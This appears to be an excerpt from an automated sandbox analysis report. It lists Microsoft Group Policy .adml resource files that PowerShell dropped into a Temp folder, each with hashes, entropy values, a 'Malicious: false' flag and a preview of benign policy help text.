Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="Autodetect">Autodetect</string>.. <string id="ConfigureHTTPProxySettings">Configure HTTP Proxy</string>.. <string id="ConfigureHTTPProxySettingsExplain">This policy setting allows you to specify the HTTP proxy settings for Windows Media Player.....If you enable this policy setting, select one of the following proxy types:....- Autodetect: the proxy settings are automatically detected...- Custom: unique proxy settings are used...- Use browser proxy settings: browser's proxy settings are used.....If the Cus

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\WindowsMessenger.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2609
Entropy (8bit):	4.83243600779635
Encrypted:	false
SSDEEP:	48:cgeD5x8gm8fKurmiSL30cT3cCtwpYS3tyLmHI+P25YS3t3zdFV:LeD5pmD7TMSy2FV
MD5:	3B589ADE17CCE578D294FF56D65F5321
SHA1:	3885D1E98889369FCDF0570B76601B0EEAAEED09
SHA-256:	BA36F02C4F20E6A6075C3091D0FD5BC81F6589552889FE4055C4BD90831A7699
SHA-512:	4BA6FE1BFB1209B03EA09ADDC64C288D9F076CD72EF968517E12A60AB8EC2060EF877D268ADA856D1B5BD4AA55CAE784D95F033FA839B66A84A039F8F0EFA206
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="WinMSG_NoAutoStartWindowsMsg_Comp">Do not automatically start Windows Messenger initially</string>.. <string id="WinMSG_NoAutoStartWindowsMsg_Help">This policy setting prevents Windows Messenger from automatically running at logon. ....If you enable this policy setting, Windows Messenger is not loaded automatically when a user logs on.....If you disable or do not configure this policy setting, Windows Messenger will be loaded automatically at logon.....Note: This policy setting simply prevents Windows Messenge

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\WindowsProducts.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	5639
Entropy (8bit):	4.939572011046928
Encrypted:	false
SSDEEP:	96:LeD5a2Uy2oPZVH9GQPVtmkPl7Q6sP9dBIP0KP6bLPbxTPJiPG5CP5ubPbDyG7kWq:ENPnOXiVyZcNmTDxun
MD5:	14C496DDE1D1ACC8B3809CF194122870
SHA1:	4A500C7707FD2791A0118C078D5113B0EF4A2844
SHA-256:	C662D7E4BF2848728B8F335734CB6500C40E88727F1ABFABCD1E097B4C6B4FB3
SHA-512:	5FF521B1B1A903132003B2F20BE3502BA69388D8A9839EB4B8485B56EFB71751B0B69AFC0AF56B0601910A685CE4025F43930A1C24FCD8DDB585A8E17AD35760
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions" revision="1.0" schemaVersion="1.0">.. <displayName>Windows Vista products table</displayName>.. <description>This file contains all the product definitions used in supported on definitions.</description>.... <resources>.. <stringTable>.. Microsoft Windows -->.. <string id="MicrosoftWindows">Windows operating system</string>.. <string id="MicrosoftWindows2000">Windows 2000 operating systems</string>.. <string id="MicrosoftWindows2000_RTM">Windows 2000</string>.. <string id="MicrosoftWindows2000_SP1">Windows 2000 Service Pack 1</string>.. <string id="MicrosoftWindows2000_SP2">Windows 2000 Service Pack 2</string>.. <string id="MicrosoftWindows2000_SP3">Windows 2000

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\WindowsRemoteManagement.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (354), with CRLF line terminators
Category:	dropped
Size (bytes):	14554
Entropy (8bit):	4.769003944604622
Encrypted:	false
SSDEEP:	192:EGUQ3V7eAfrBxq5L/cPcFS5YCZXGSqHL/LmLlUCEXjNi2+J1+sEG:9tBc5LUPcKYCZXGSqHDLmBcNi2S
MD5:	E24B954C1451F81FC8559A0F42D8B804
SHA1:	02CDBB99F2546ED8DD467B9799FDA9DECFE1F716
SHA-256:	A8B80A925FCC599E485029B1833C58865A6A16D872FB8766F9ACB8A1E0752D93
SHA-512:	156521221250B6029798C10A2BF138954280AEE73D34FEFCC6D6B3ABB9399824B9135D76A2F8FF1F975F1818D123E6D56DCAD7655E6D6EC5851E7D661926A802
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="AllowAutoConfig">Allow remote server management through WinRM</string>.. <string id="AllowBasic">Allow Basic authentication</string>.. <string id="AllowBasicClientHelp">This policy setting allows you to manage whether the Windows Remote Management (WinRM) client uses Basic authentication.....If you enable this policy setting, the WinRM client uses Basic authentication. If WinRM is configured to use HTTP transport, the user name and password are sent over the network as clear text.....If you disable or do

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\WindowsRemoteShell.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	5497
Entropy (8bit):	4.839558778753586
Encrypted:	false
SSDEEP:	96:LeD5pmCfYYOpQgxeUMP5pWuPG47CngUmOuWg9m56V:EBfY/MPCCG4OngUq0o
MD5:	157A758A1233F9764CDFFCB79F8ADAB2
SHA1:	F1203844E770993418DCB257146C5BF98532F5C0
SHA-256:	35C10ECD562212B9C242ABCEA3EECD82965F173B8F8F2A848F1DD94F725EF0A1
SHA-512:	8E70D00D0FEA7F5164EC8BA0FF8B7F548A76A830DA19094827590D46399C4A1F5E21AA2054B5637F1C91095957DE1610C28BCC3974ED3FB36BE3ED6F2D067D45
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="AllowRemoteShellAccess">Allow Remote Shell Access</string>.. <string id="AllowRemoteShellAccess_Help">This policy setting configures access to remote shells.....If you enable this policy setting and set it to False, new remote shell connections are rejected by the server.....If you disable or do not configure this policy setting, new remote shell connections are allowed.</string>.. <string id="IdleTimeout">Specify idle Timeout</string>.. <string id="IdleTimeout_Help">This policy setting configures th

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\WindowsServer.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1011
Entropy (8bit):	5.086298346478668
Encrypted:	false
SSDEEP:	24:2dgeD5eo8x4+cCk2q1qOyENX/itRgv8FFV:cgeD5x8lcT/XNUFFV
MD5:	14AEA48E9379243660E8B568A71EF533
SHA1:	1EACA2C4A36AB2762757FA7CAA1D4256910ECC95
SHA-256:	A96786FAA32516C2738C2EC94E676F3D339732AB39318D7CDFFA478A2BAE1231
SHA-512:	24AF5CA8EB9650B61FF0A01467A36DD3F55C90741A4FD04C067420A3E150B57F50ADD536513B4D3F0E7A1EC37138205850FFAAED51A1525E1F063C737EFB50E7
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions" revision="1.0" schemaVersion="1.0">.. <displayName>Windows Server 2008 base categories and supported component definitions</displayName>.. <description>This file contains all the base categories and supported component definitions used by server components.</description>.... <resources>.. <stringTable>.. <string id="SUPPORTED_WindowsServer2008">At least Windows Server 2008</string>.. <string id="SUPPORTED_WindowsServer2003R2">At least Windows Server 2003 R2</string>.. <string id="ServerComponents">Server Components</string>.. <string id="ServerComponents_Help">Contains settings for server operating system components.</string>.. </stringTable>.. </resources>..</policyDefinitionR

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\WindowsUpdate.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (561), with CRLF line terminators
Category:	dropped
Size (bytes):	34731
Entropy (8bit):	4.71530009460394
Encrypted:	false
SSDEEP:	384:xtl2CSosXR2nMZIvHWRzwjxqDx6rUtuLTaUL4wl2bux0AcY5Bnn6aaF8MSaUVNKl:xtlwhQMZI/W5w8t6rjxXcYXnhaa3Tu
MD5:	1B4DF1C94FAE81C341ABEA40C9ADAD9C
SHA1:	7DBDE04EFAF2D6B703417CC6FB0B146D6FD4214F
SHA-256:	2AEC8DCD9608B57D3D65321B399FAA530552027F0E3CA814F477816DF803E201
SHA-512:	4CFCE39BA34EE283EEC89900AFCA583AE9C0AE86CAA3EE8EC90891347825AF81DD82BD08960551852C6B7C8FD77B5ECDE9BA75C16A3986B7663CB494E3C6E30A
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->.. .. Note that white space is preserved as is in the text shown in the Group Policy UI... Don't add extra line breaks at the beginning and end of text strings,.. and make sure that lines of text start in the FIRST column... -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="WU_SUPPORTED_Windows7ToXPSP2">Windows 7, Windows Server 2008 R2, Windows Vista, Windows XP SP2</string>.. <string id="WU_SUPPORTED_Windows7_To_Win2kSP3_Or_XPSP1">Windows 7, Windows Server 2008 R2, Windows Vista, Windows Server 2003, Windows XP SP2, Windows XP SP1 , Windows 2000

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\Winsrv.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (336), with CRLF line terminators
Category:	dropped
Size (bytes):	1453
Entropy (8bit):	4.91354096133356
Encrypted:	false
SSDEEP:	24:2dgeD5eo8gWt4+3Fbef61yQ2X/L2jnwwvXzAd7l4d7FFV:cgeD5x8gm8fKj2T27NmEFV
MD5:	76D4B8899387BCD0C081D4301E1B18DE
SHA1:	EBC1DD18A8893ED391379021941451D89692CDCD
SHA-256:	41331BF31C4BA79B1FF7169EFA27CF37AEE5ED269C1C6894AF78F3F6FB40AE59
SHA-512:	629E37A4E24C60A3E34795F17A5E132DBDAEF40F43AF01B451F6024A4FFC93D36F0381B0B413CE2374778C9D50326345BF0B460D7CCD8F8B5CB1A747CD66F1FF
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="AllowBlockingAppsAtShutdown">Turn off automatic termination of applications that block or cancel shutdown</string>.. <string id="AllowBlockingAppsAtShutdown_Explain">This policy setting specifies whether Windows will allow console applications and GUI applications without visible top-level windows to block or cancel shutdown. By default, such applications are automatically terminated if they attempt to cancel shutdown or block it indefinitely.....If you enable this setting, console applications or GUI applicat

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\WordWheel.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2619
Entropy (8bit):	4.83283675002977
Encrypted:	false
SSDEEP:	48:cgeD5x8gm8fKEupdt44XktQFqMQFbC1RARWJUudgJjT5YMcxL5oV:LeD5pmBhIQwMQE1E5Pk9oV
MD5:	A5FE2005E14E5E7E8792CE0C2BDF53A8
SHA1:	D4EE1B57FE5C5387E241B51F6209DDD45A6D5BE4
SHA-256:	8CB5F08BC1D73EE9C83EF7043A8BDA0CF250E7BEDD1C84E700E6A8A913BEAF86
SHA-512:	332BF547D8883DF20AA82D2C6F9E3DCD89E2997EC16436A377F6135DF1136B595A9B91EB91C70BD3068F71EBA72007C4DAE32D3B0584A5FB392A9158A57036B7
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="CustomSearch">Custom Instant Search Internet search provider</string>.. <string id="CustomSearch_Explain">Set up the menu name and URL for the custom Internet search provider.....If you enable this setting, the specified menu name and URL will be used for Internet searches.....If you disable or not configure this setting, the default Internet search provider will be used.</string>.. <string id="NoSearchInternetInWordWheel">Hide the "Search the Internet" link from the Search box drop down.</string>..

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\WorkFolders-Client.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (591), with CRLF line terminators
Category:	dropped
Size (bytes):	3464
Entropy (8bit):	4.792120480185555
Encrypted:	false
SSDEEP:	48:cmD5x8gm8fK9186+SciILEl1h8gCgU+7AJcih/qAUJhbWEPIV:PD5pmh186+Sc8h8XrJcEQJxWEPIV
MD5:	F6075FA597F6343205F02CFAF7CF87A7
SHA1:	7A1F11393676AF8A2B8C95EEDE05007A6F2DB31E
SHA-256:	B6A4F7EBE7A44F81B7A5D4C7A38FEA3FCFCD184FA16E46863C1535323197BE1A
SHA-512:	40358DE36BFC342FE314B6FADACA3B1523BB05658F792F1306FC0E4334E50CADD55777069F59E0483C77A5D13C07293909F4BD2596757EF7B2D3504D37522A9A
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2012 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="Cat_WorkFolders">Work Folders</string>.. <string id="Pol_MachineEnableWorkFolders">Force automatic setup for all users</string>.. <string id="Pol_MachineEnableWorkFolders_Help">This policy setting specifies whether Work Folders should be set up automatically for all users of the affected computer... ..If you enable this policy setting, Work Folders will be set up automatically for all users of the affected computer. This prevents users from choosing not to use Work Folders on the computer; it also pr

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\WorkplaceJoin.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1317
Entropy (8bit):	5.059573414260519
Encrypted:	false
SSDEEP:	24:2d1D5eo8gWt4+3FGxiKRI/LeVQLhqeS1FLiRj/eRBAlA5TtT849eLaa6rTM7ijFV:c1D5x8gmjKhGLJ8uwdxPkOr1jFV
MD5:	68E7E1BEE13094C1C0F9896F82B4D741
SHA1:	5D7F87C220EA3EB57322C9FC0986B2EFCAEBB01A
SHA-256:	4754F8A9B020216A0F9CA4C7357A6794D3C98735D9B7857FCBC19ED1401021E3
SHA-512:	6CCD89B24AC4D9232D45A91E3002F69230BA38A878057ABC0A0BD07F3B7A44CC9E97BE29267CBB56C9D3304EC9CA75C3E662DA1D2E154F3155A029F30C6ACF91
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2013 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>Automatically workplace join client computers</displayName>.. <description>This setting lets you configure how domain-joined client computers become workplace-joined with domain users in your organization.</description>.. <resources>.. <stringTable>.. <string id="WJ_WorkplaceJoinCategory">Workplace Join</string>.. <string id="WJ_AutoJoinExplain">This setting lets you configure how domain joined client computers become workplace joined with domain users at your organization.....If this setting is enabled, domain-joined client computers will automatically become workplace-joined upon domain user logon.....Note: Additional requirements may appl

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\fthsvc.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1812
Entropy (8bit):	4.867263783263397
Encrypted:	false
SSDEEP:	48:cgeD5x8gm8fKe92tf3bDtMsabsl5/n0BshFV:LeD5pmk2tf/Ojbg1nCshFV
MD5:	418D7AC091847AB77D095C57FA41A684
SHA1:	3344D9A7DF3250DC67E0AE77A3852504B57FD45D
SHA-256:	1264F3A19797D8DAEE79006048CF0430FC85D1FA8AAC8C64C5A60351C7753901
SHA-512:	86C39CFFAC76B5417780116DCD6E264C05939C52D7E8920330FABC657AFC34EE9EC0C09EDB871B9F6B3E9C75CD1E12029B29DF6A8D12CB24A8D3810D71BDB8D2
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="WdiScenarioCategory">Fault Tolerant Heap</string>.. <string id="WdiScenarioExecutionPolicy">Configure Scenario Execution Level</string>.. <string id="WdiScenarioExecutionPolicyExplain">This policy setting permits or prohibits the Diagnostic Policy Service (DPS) from automatically resolving any heap corruption problems.....If you enable this policy setting, the DPS detects, troubleshoots, and attempts to resolve automatically any heap corruption problems.....If you disable this policy setting, Windows cann

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\hotspotauth.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1509
Entropy (8bit):	4.960947634536891
Encrypted:	false
SSDEEP:	24:2ddD5eo8gWt4+3FWDELiHkM7QQhsrPKkoXWmWUD64WPb1KOFV:cdD5x8gmID1q+kkb967Pb0OFV
MD5:	C8F213BDF5B362440A28D5D5FDD86FB8
SHA1:	587A99FD8725FBBEF863D8D01D3993123817A8B3
SHA-256:	8A6601421A6DE212B6B1FF4990ED462251F3C4C75CB37D7BBA0AFC814B0C50F1
SHA-512:	966BE4DBF177B42253853A03B08447B48315FF51CF05C9FA88FA2A5A344CC9E02A357D7A7FAF61A831EDA39FA9AF35B88389FB8EAFE6BA72A8D7F8BCE90EFFB1
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2008 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>Hotspot Authentication Group Policy Settings</displayName>.. <description>Hotspot Authentication Group Policy Settings</description>.. <resources>.. <stringTable>.. <string id="HotspotAuth_Category">Hotspot Authentication</string>.. <string id="HotspotAuth_Enable">Enable Hotspot Authentication</string>.. <string id="HotspotAuth_Enable_Help">This policy setting defines whether Wi-Fi hotspots are probed for Wireless Internet Service Provider roaming (WISPr) protocol support.....If a Wi-Fi hotspot supports the WISPr protocol, users can submit credentials when manually connecting to the network. If authentication is successful, users will b

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\iSCSI.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (402), with CRLF line terminators
Category:	dropped
Size (bytes):	5220
Entropy (8bit):	4.806973059665715
Encrypted:	false
SSDEEP:	96:LeD5pmCaYOcq03f1QSxMMdeuRr48/TNZvOfxk5DxKhFwfDFpm8h7w1D7zDGFV:EPaYO503f1QSy+euRD/TNZvOfxk5DxKQ
MD5:	FE14E28C69993ACCEC221BE3C7A99E5C
SHA1:	AF4A9B9485D3CAE6BB21DC2932A705247C20EC01
SHA-256:	68B3DF1ED58900E693440D614266C2F8FA20A87F75B9183A5BEBFAB5C3C6B4C2
SHA-512:	B60557A69068D7F37CE89C724D22340E464E4DFDE039E9E4A10BE2F4458C165456872632D886EADBAA7AC72F23DAB8AF32EC1A1DAE2605EDC7D25004E878772B
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="iSCSI_Category">iSCSI</string>.. <string id="iSCSIDiscovery_Category">iSCSI Target Discovery</string>.. <string id="iSCSIDiscovery_ConfigureiSNSServers">Do not allow manual configuration of iSNS servers</string>.. <string id="iSCSIDiscovery_ConfigureiSNSServers_Help">If enabled then new iSNS servers may not be added and thus new targets discovered via those iSNS servers; existing iSNS servers may not be removed. If disabled then new iSNS servers may be added and thus new targets discovered via those

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\msched.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	3422
Entropy (8bit):	4.718448996775859
Encrypted:	false
SSDEEP:	24:2dgeD5eo8gWt4+3F+uAuj9hjwJd+ktkEbEqXf3XYonvxbBN9vBxWQcjtrh6kWR0z:cgeD5x8gmVSTuiv3Xv1IQcLzWElq2SIV
MD5:	224BEABEB0B0C06F17CD758D7F5CA442
SHA1:	5D6443E03F0345B93561D2958C725E963CE1EBCD
SHA-256:	C65DA0DF5066F72EFF8B61EDF4F7B900650462FE38260C98C43A2DFCBEEF8634
SHA-512:	17AD214FA68E221F9805472AB453B13477656AC0F7A1612F2260B369F2F1E33D0DCC2E03851A3CB72999F16EF790B56F2CC0E1C341723FD1BB0C6937FEA1B98D
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>Maintenance Scheduler Policies</displayName>.. <description>Maintenance Scheduler Group Policies</description>.. <resources>.. <stringTable>.. <string id="MaintenanceScheduler">Maintenance Scheduler</string>.. <string id="ActivationBoundary">Automatic Maintenance Activation Boundary</string>.. <string id="ActivationBoundaryHelp">.. This policy setting allows you to configure Automatic Maintenance activation boundary..... The maintenance activation boundary is the daily schduled time at which Automatic Maintenance starts.... If you enable this policy setting, this will override the default daily scheduled time

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\nca.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 text, with very long lines (532), with CRLF line terminators
Category:	dropped
Size (bytes):	8481
Entropy (8bit):	4.839330009877803
Encrypted:	false
SSDEEP:	192:xvEwDvJfTqcK3KoGmwrtrqGryq5hP8lv5UNgTe:xvE8fWVQpHOq5hP8vuge
MD5:	913C464CFBD79FBB24DDDB6A91D1C375
SHA1:	DE4AB693B5B746695B00E6F00EFC190D7541242F
SHA-256:	6E3E490033E86709BBEAD8A1CA4F35DD478297BD932A76C3D9942DD59F8AC27F
SHA-512:	346C4AA6FBC299ECC94C2CA4970A4EC4867235FD9268E4E89C2F32D526A1F75824565442B555080CD374C229D6C5ECFD2CF6B7B96DC85FCABD14F9225FE05CEB
Malicious:	false
Preview:	<policyDefinitionResources revision="1.0" schemaVersion="1.0">.. <displayName>DirectAccess Client Experience Settings Group Policy Template</displayName>.. <description>This admx file describes policy template for DirectAccess Client NCA component</description>.. <resources>.. <stringTable>.. <string id="NCA">DirectAccess Client Experience Settings</string>.. <string id="NCA_Help">This is the group policy template for DirectAccess Client Experience Settings. Please read the DirectAccess deployment guide for more information.</string>.. <string id="SupportEmail">Support Email Address</string>.. <string id="SupportEmail_Help">Specifies the e-mail address to be used when sending the log files that are generated by NCA to the network administrator. ....When the user sends the log files to the Administrator, NCA uses the default e-mail client to open a new message with the support email address in the To: field of the message, then attaches the generated log files

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\pca.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (379), with CRLF line terminators
Category:	dropped
Size (bytes):	6236
Entropy (8bit):	4.8210465928673445
Encrypted:	false
SSDEEP:	96:LeD5pm0ybro3NXRz6/LPrwwfsHO+/7Oaj3V:EDyXo3NXRz+0w0HdjtjF
MD5:	78021A8DEB0981DD65154025032BB7D5
SHA1:	5B59F46A232E9752D6405949564B435D1AD709B5
SHA-256:	899C5FF462E34E8319AC0C59A9BC794695166970BA28495C473754FA5C3DE457
SHA-512:	C4BBA2C6A05B10A74D603225CE69BF6EC3D08CF8039D56E5118774179A628A237F9119C09215C4FEB7BE5D5D06A8E5CF6B07FE2822D0AF7E65FEFD47FA9E039E
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>...... Overall category text -->.. <string id="PcaScenarioCategory">Application Compatibility Diagnostics</string>.. .... Generic WDI text -->.. <string id="WdiScenarioExecutionPolicyLevelResolution">Detection, Troubleshooting and Resolution</string>.. <string id="WdiScenarioExecutionPolicyLevelTsOnly">Detection and Troubleshooting Only</string>...... Individual scenario text -->.. <string id="DetectBlockedDriversText">Notify blocked drivers</string>.. <string id="DetectDepre

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\sdiageng.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (423), with CRLF line terminators
Category:	dropped
Size (bytes):	3289
Entropy (8bit):	4.684667062227081
Encrypted:	false
SSDEEP:	48:cVD5x8gmnwOx5XzQfO4ZQZr4VdF+kHdqblrmG7FV:WD5pmnwOX4aadF+odcmG7FV
MD5:	145EB767DFAAC5B7D79A9DF8C4FD6504
SHA1:	EF931F6BD052785B77B640F310BB593DA3FBC881
SHA-256:	F2483555C3531D0821703D3696ACBFE5528A031D762661249CD6DF8434ACCFC3
SHA-512:	8B5AC9ABF5870C9F2D9708E8858121815CE875E379700E7E4797F84631802D82FFE0A32C1983CF23BD6B09D775965F0192939D03CAC6F1E5FD2B54CC55EE2602
Malicious:	false
